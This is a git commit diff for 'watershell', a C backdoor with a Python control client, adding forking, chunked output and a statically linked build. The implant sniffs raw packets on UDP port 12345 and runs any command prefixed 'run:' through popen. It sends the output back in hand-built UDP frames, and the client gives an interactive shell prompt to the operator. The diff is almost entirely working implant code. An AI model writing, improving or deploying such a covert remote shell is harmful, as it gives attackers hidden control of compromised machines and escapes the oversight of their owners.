Added forking support, support for larger command outputs, and other improvements

This commit is contained in:
Jacob Hartman
2026-03-14 21:37:13 -04:00
parent 062ef4d24f
commit e50cf1ead0
4 changed files with 170 additions and 106 deletions

View File

@@ -1,8 +1,16 @@
# Small makefile to make compiling watershell easier to do
# TODO implement C and Linker FLAGS if desired
COMPILER=gcc
all: watershell
debug:
$(COMPILER) watershell.c -DDEBUG=1 -static -o watershell
.PHONY: watershell
watershell:
gcc watershell.c -o $@
$(COMPILER) watershell.c -o watershell -static
clean:
rm watershell *.o

View File

@@ -93,10 +93,13 @@ def execute_cmd_prompt(sock, target):
cmd = input("//\\\\watershell//\\\\>> ")
if cmd == 'exit':
break
if len(cmd) > 1:
sock.sendto(("run:"+cmd).encode(), target)
resp = recv_timeout(sock, 4)
print(resp)
if len(cmd) > 1 :
if len(cmd) >= 1400:
print("Command is too big! (must be <=1400)")
else:
sock.sendto(("run:"+cmd).encode(), target)
resp = recv_timeout(sock, 4)
print(resp)
def main():
"""

View File

@@ -26,6 +26,7 @@
#ifndef DEBUG
#define DEBUG false
#endif
/* COMMAND LINE ARGS WILL OVERRIDE THESE */
#include <net/if.h>
@@ -39,7 +40,7 @@
#include <sys/ioctl.h>
#include <string.h>
#include <arpa/inet.h>
#include <linux/if_ether.h>
#include <netinet/if_ether.h>
#include <linux/if_packet.h>
#include <linux/filter.h>
#include <fcntl.h>
@@ -59,7 +60,7 @@ int main(int argc, char *argv[])
{
int i, n, hlen, arg;
struct sock_fprog filter;
char buf[2048];
char recv_buf[RECV_BUFFER_SIZE];
unsigned char *read;
char *udpdata;
struct iphdr *ip;
@@ -148,52 +149,85 @@ int main(int argc, char *argv[])
&filter, sizeof(filter)) < 0)
if (DEBUG) perror("setsockopt");
signal(SIGCHLD, SIG_IGN);
//sniff forever!
for (;;){
memset(buf, 0, 2048);
memset(recv_buf, 0, RECV_BUFFER_SIZE);
//get a packet, and tear it apart, look for keywords
n = recvfrom(sockfd, buf, 2048, 0, NULL, NULL);
ip = (struct iphdr *)(buf + sizeof(struct ethhdr));
udp = (struct udphdr *)(buf + ip->ihl*4 + sizeof(struct ethhdr));
udpdata = (char *)((buf + ip->ihl*4 + 8 + sizeof(struct ethhdr)));
n = recvfrom(sockfd, recv_buf, RECV_BUFFER_SIZE, 0, NULL, NULL);
ip = (struct iphdr *)(recv_buf + sizeof(struct ethhdr));
udp = (struct udphdr *)(recv_buf + ip->ihl*4 + sizeof(struct ethhdr));
udpdata = (char *)((recv_buf + ip->ihl*4 + 8 + sizeof(struct ethhdr)));
printf("Got something\n");
//checkup on the service, make sure it is still there
if(!strncmp(udpdata, "status:", 7)){
send_status(buf, "up");
printf("Doing the status\n");
send_status(recv_buf, "up");
}
//run a command if the data is prefixed with run:
if (!strncmp(udpdata, "run:", 4)){
printf("Doing the thing: %s\n", udpdata);
int out = open("/dev/null", O_WRONLY);
int err = open("/dev/null", O_WRONLY);
dup2(out, 0);
dup2(err, 2);
// Make a copy for the fork, child will free
char * recv_copy = malloc(RECV_BUFFER_SIZE);
memcpy(recv_copy, recv_buf, RECV_BUFFER_SIZE);
FILE *fd;
fd = popen(udpdata + 4, "r");
if (!fd) return -1;
ip = (struct iphdr *)(recv_copy + sizeof(struct ethhdr));
udp = (struct udphdr *)(recv_copy + ip->ihl*4 + sizeof(struct ethhdr));
udpdata = (char *)((recv_copy + ip->ihl*4 + 8 + sizeof(struct ethhdr)));
char buffer[256];
size_t chread;
/* String to store entire command contents in */
size_t comalloc = 256;
size_t comlen = 0;
char *comout = malloc(comalloc);
pid_t fork_pid = fork();
/* Use fread so binary data is dealt with correctly */
while ((chread = fread(buffer, 1, sizeof(buffer), fd)) != 0) {
if (comlen + chread >= comalloc) {
comalloc *= 2;
comout = realloc(comout, comalloc);
if (fork_pid == 0) {
printf("Doing the thing: %s\n", udpdata);
int out = open("/dev/null", O_WRONLY);
int err = open("/dev/null", O_WRONLY);
dup2(out, 0);
dup2(err, 2);
FILE *fd;
fd = popen(udpdata + 4, "r");
if (!fd) {
return 1;
}
memmove(comout + comlen, buffer, chread);
comlen += chread;
}
pclose(fd);
send_status(buf, comout);
char buffer[RECV_BUFFER_SIZE];
size_t chread;
/* String to store entire command contents in */
size_t comalloc = RECV_BUFFER_SIZE;
size_t comlen = 0;
char *comout = malloc(comalloc);
/* Use fread so binary data is dealt with correctly */
while ((chread = fread(buffer, 1, sizeof(buffer), fd)) != 0) {
printf("1\n");
if (comlen + chread >= comalloc) {
comalloc *= 2;
comout = realloc(comout, comalloc);
}
memmove(comout + comlen, buffer, chread);
comlen += chread;
printf("2\n");
}
if (DEBUG) {
printf("Sending %s", comout);
}
pclose(fd);
close(out);
close(err);
send_status(recv_copy, comout);
free(recv_copy);
free(comout);
return 0;
} else {
if (DEBUG) {
printf("Forked to %d\n", fork_pid);
}
}
}
}
@@ -202,51 +236,51 @@ int main(int argc, char *argv[])
// get interface name dynamically :D
void get_interface_name(char iface[]){
const char* google_dns_server = "8.8.8.8";
int dns_port = 53;
int sock, err;
const char* google_dns_server = "8.8.8.8";
int dns_port = 53;
int sock, err;
char buf[32];
char buffer[100];
char buf[32];
char buffer[100];
struct ifaddrs *addrs, *iap;
struct sockaddr_in *sa;
struct sockaddr_in serv;
struct sockaddr_in name;
struct ifaddrs *addrs, *iap;
struct sockaddr_in *sa;
struct sockaddr_in serv;
struct sockaddr_in name;
sock = socket(AF_INET, SOCK_DGRAM, 0);
sock = socket(AF_INET, SOCK_DGRAM, 0);
memset(&serv, 0, sizeof(serv));
serv.sin_family = AF_INET;
serv.sin_addr.s_addr = inet_addr(google_dns_server);
serv.sin_port = htons(dns_port);
memset(&serv, 0, sizeof(serv));
serv.sin_family = AF_INET;
serv.sin_addr.s_addr = inet_addr(google_dns_server);
serv.sin_port = htons(dns_port);
err = connect(sock ,(const struct sockaddr*) &serv ,sizeof(serv));
err = connect(sock ,(const struct sockaddr*) &serv ,sizeof(serv));
socklen_t namelen = sizeof(name);
err = getsockname(sock, (struct sockaddr*) &name, &namelen);
socklen_t namelen = sizeof(name);
err = getsockname(sock, (struct sockaddr*) &name, &namelen);
const char* p = inet_ntop(AF_INET, &name.sin_addr, buffer, 100);
const char* p = inet_ntop(AF_INET, &name.sin_addr, buffer, 100);
getifaddrs(&addrs);
for (iap = addrs; iap != NULL; iap = iap->ifa_next) {
if (iap->ifa_addr && (iap->ifa_flags & IFF_UP) && iap->ifa_addr->sa_family == AF_INET) {
sa = (struct sockaddr_in *)(iap->ifa_addr);
inet_ntop(iap->ifa_addr->sa_family, (void *)&(sa->sin_addr), buf, sizeof(buf));
if (!strcmp(p, buf)) {
strncpy(iface, iap->ifa_name, strlen(iap->ifa_name));
//interface_name = iap->ifa_name;
break;
}
}
}
getifaddrs(&addrs);
for (iap = addrs; iap != NULL; iap = iap->ifa_next) {
if (iap->ifa_addr && (iap->ifa_flags & IFF_UP) && iap->ifa_addr->sa_family == AF_INET) {
sa = (struct sockaddr_in *)(iap->ifa_addr);
inet_ntop(iap->ifa_addr->sa_family, (void *)&(sa->sin_addr), buf, sizeof(buf));
if (!strcmp(p, buf)) {
strncpy(iface, iap->ifa_name, strlen(iap->ifa_name));
//interface_name = iap->ifa_name;
break;
}
}
}
freeifaddrs(addrs);
close(sock);
freeifaddrs(addrs);
close(sock);
}
//cleanup on SIGINT
@@ -264,7 +298,7 @@ void sigint(int signum){
//shut it down!
free(sifreq);
close(sockfd);
//exit(1);
exit(0);
}
//send a reply
@@ -274,50 +308,64 @@ void send_status(unsigned char *buf, char *payload){
struct sockaddr_in sin;
int len;
//setup the data
memset(&frame, 0, sizeof(frame));
strncpy(frame.data, payload, strlen(payload));
//get the ifindex
if (ioctl(sockfd, SIOCGIFINDEX, sifreq) == -1){
if (DEBUG) perror("ioctl SIOCGIFINDEX");
return;
}
//layer 2
saddrll.sll_family = PF_PACKET;
saddrll.sll_ifindex = sifreq->ifr_ifindex;
saddrll.sll_halen = ETH_ALEN;
memcpy((void*)saddrll.sll_addr, (void*)(((struct ethhdr*)buf)->h_source), ETH_ALEN);
memcpy((void*)frame.ehdr.h_source, (void*)(((struct ethhdr*)buf)->h_dest), ETH_ALEN);
memcpy((void*)frame.ehdr.h_dest, (void*)(((struct ethhdr*)buf)->h_source), ETH_ALEN);
frame.ehdr.h_proto = htons(ETH_P_IP);
uint32_t full_size = strlen(payload);
//layer 3
frame.ip.version = 4;
frame.ip.ihl = sizeof(frame.ip)/4;
frame.ip.id = htons(69);
frame.ip.frag_off |= htons(IP_DF);
frame.ip.ttl = 64;
frame.ip.tos = 0;
frame.ip.tot_len = htons(sizeof(frame.ip) + sizeof(frame.udp) + strlen(payload));
frame.ip.saddr = ((struct iphdr*)(buf+sizeof(struct ethhdr)))->daddr;
frame.ip.daddr = ((struct iphdr*)(buf+sizeof(struct ethhdr)))->saddr;
frame.ip.protocol = IPPROTO_UDP;
div_t div_res = div(full_size, SEND_CHUNK_SIZE);
int chunk_count = div_res.quot+1;
for (uint32_t i = 0; i < chunk_count; i++) {
uint32_t send_size = SEND_CHUNK_SIZE;
if (i == chunk_count-1) {
send_size = strnlen(payload+(i*SEND_CHUNK_SIZE), SEND_CHUNK_SIZE);
}
//setup the data
memset(&frame, 0, sizeof(frame));
uint64_t offset = i*SEND_CHUNK_SIZE;
memcpy(frame.data, payload+(offset), send_size);
//layer 4
frame.udp.source = ((struct udphdr*)(buf+sizeof(struct ethhdr)+sizeof(struct iphdr)))->dest;
frame.udp.dest = ((struct udphdr*)(buf+sizeof(struct ethhdr)+sizeof(struct iphdr)))->source;
frame.udp.len = htons(strlen(payload) + sizeof(frame.udp));
//layer 2
saddrll.sll_family = PF_PACKET;
saddrll.sll_ifindex = sifreq->ifr_ifindex;
saddrll.sll_halen = ETH_ALEN;
memcpy((void*)saddrll.sll_addr, (void*)(((struct ethhdr*)buf)->h_source), ETH_ALEN);
memcpy((void*)frame.ehdr.h_source, (void*)(((struct ethhdr*)buf)->h_dest), ETH_ALEN);
memcpy((void*)frame.ehdr.h_dest, (void*)(((struct ethhdr*)buf)->h_source), ETH_ALEN);
frame.ehdr.h_proto = htons(ETH_P_IP);
//checksums
//udp_checksum(&frame.ip, (unsigned short*)&frame.udp);
ip_checksum(&frame.ip);
//layer 3
frame.ip.version = 4;
frame.ip.ihl = sizeof(frame.ip)/4;
frame.ip.id = htons(69);
frame.ip.frag_off |= htons(IP_DF);
frame.ip.ttl = 64;
frame.ip.tos = 0;
frame.ip.tot_len = htons(sizeof(frame.ip) + sizeof(frame.udp) + send_size);
frame.ip.saddr = ((struct iphdr*)(buf+sizeof(struct ethhdr)))->daddr;
frame.ip.daddr = ((struct iphdr*)(buf+sizeof(struct ethhdr)))->saddr;
frame.ip.protocol = IPPROTO_UDP;
//layer 4
frame.udp.source = ((struct udphdr*)(buf+sizeof(struct ethhdr)+sizeof(struct iphdr)))->dest;
frame.udp.dest = ((struct udphdr*)(buf+sizeof(struct ethhdr)+sizeof(struct iphdr)))->source;
frame.udp.len = htons(send_size + sizeof(frame.udp));
//checksums
//udp_checksum(&frame.ip, (unsigned short*)&frame.udp);
ip_checksum(&frame.ip);
//calculate total length and send
len = sizeof(struct ethhdr) + sizeof(struct udphdr) + sizeof(struct iphdr) + send_size;
sendto(sockfd, (char*)&frame, len, 0, (struct sockaddr *)&saddrll, sizeof(saddrll));
}
//calculate total length and send
len = sizeof(struct ethhdr) + sizeof(struct udphdr) + sizeof(struct iphdr) + strlen(payload);
sendto(sockfd, (char*)&frame, len, 0, (struct sockaddr *)&saddrll, sizeof(saddrll));
}
/* checksum functions from http://www.roman10.net/how-to-calculate-iptcpudp-checksumpart-2-implementation/ */

View File

@@ -16,6 +16,11 @@
*/
#ifndef WATERSHELL_H_
#define WATERSHELL_H_
#define RECV_BUFFER_SIZE 4096
#define SEND_CHUNK_SIZE (ETH_DATA_LEN - sizeof(struct udphdr) - sizeof(struct iphdr))
/* BPF code generated with tcpdump -dd udp and port 12345
* used to filter incoming packets at the socket level
*/
@@ -49,7 +54,7 @@ struct __attribute__((__packed__)) udpframe {
struct ethhdr ehdr;
struct iphdr ip;
struct udphdr udp;
unsigned char data[ETH_DATA_LEN - sizeof(struct udphdr) - sizeof(struct iphdr)];
unsigned char data[SEND_CHUNK_SIZE];
};
void send_status(unsigned char *buf, char *payload);